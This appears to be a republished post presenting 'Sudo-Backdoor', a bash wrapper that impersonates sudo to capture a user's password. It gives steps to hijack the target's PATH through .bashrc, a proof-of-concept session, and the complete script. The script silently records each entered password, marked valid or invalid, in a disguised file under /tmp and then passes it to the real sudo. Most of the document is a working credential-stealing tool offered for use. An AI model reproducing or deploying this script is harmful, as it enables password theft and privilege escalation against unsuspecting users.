Sudo-Backdoor : Wrapper to sudo for stealing user Password.

Wrapper to sudo; prompts regularily but steals user’s password. For those annoying times when you get a “non-privileged” sudo-enabled shell.
Installation:
1. Append the following line to the target user’s .bashrc file by running the following command:
$ echo “export PATH=~/.payload:$PATH” >> ~/.bashrc
2. Then, create ~/.payload/sudo and paste the following code in the file. Don’t forget to make the bash script executable by issuing the following Command:
$ chmod a+x ~/.payload/sudo
3. Obviously you might have to adapt this installation recipe to fit the user’s shell. If they are using zsh, then install to ~/.zshrc, etc.

Proof of concept: foobar is the target with password `foobarz1`
[foobar:~]$ tail -n 1 ~/.bashrc
export PATH=~/.payload:$PATH
[foobar:~]$ ls -la ~/.payload/sudo 
-rwxr-xr-x 1 foobar foobar 420 Aug 16 01:21 /home/foobar/.payload/sudo
[foobar:~]$ sudo id
[sudo] password for foobar: [inserted wrong password `barbaz` here as proof of concept]
Sorry, try again.
[sudo] password for foobar: [inserted `foobarz1` here]
uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel),19(log)
[foobar:~]$ cat /tmp/.ICE-unix-test 
foobar:barbaz:invalid
foobar:foobarz1:valid
[foobar:~]$ sudo id [the system remembers previous authentification]
uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel),19(log)

Bash Script:

#!/bin/bash
/usr/bin/sudo -n true 2>/dev/null
if [ $? -eq 0 ]
then
    /usr/bin/sudo $@
else
    echo -n "[sudo] password for $USER: "
    read -s pwd
    echo
    echo "$pwd" | /usr/bin/sudo -S true 2>/dev/null
    if [ $? -eq 1 ]
    then
	echo "$USER:$pwd:invalid" >> /tmp/.ICE-unix-test
	echo "Sorry, try again."
	sudo $@
    else
	echo "$USER:$pwd:valid" >> /tmp/.ICE-unix-test
	echo "$pwd" | /usr/bin/sudo -S $@
    fi
fi

Source :https://github.com/ldionmarcil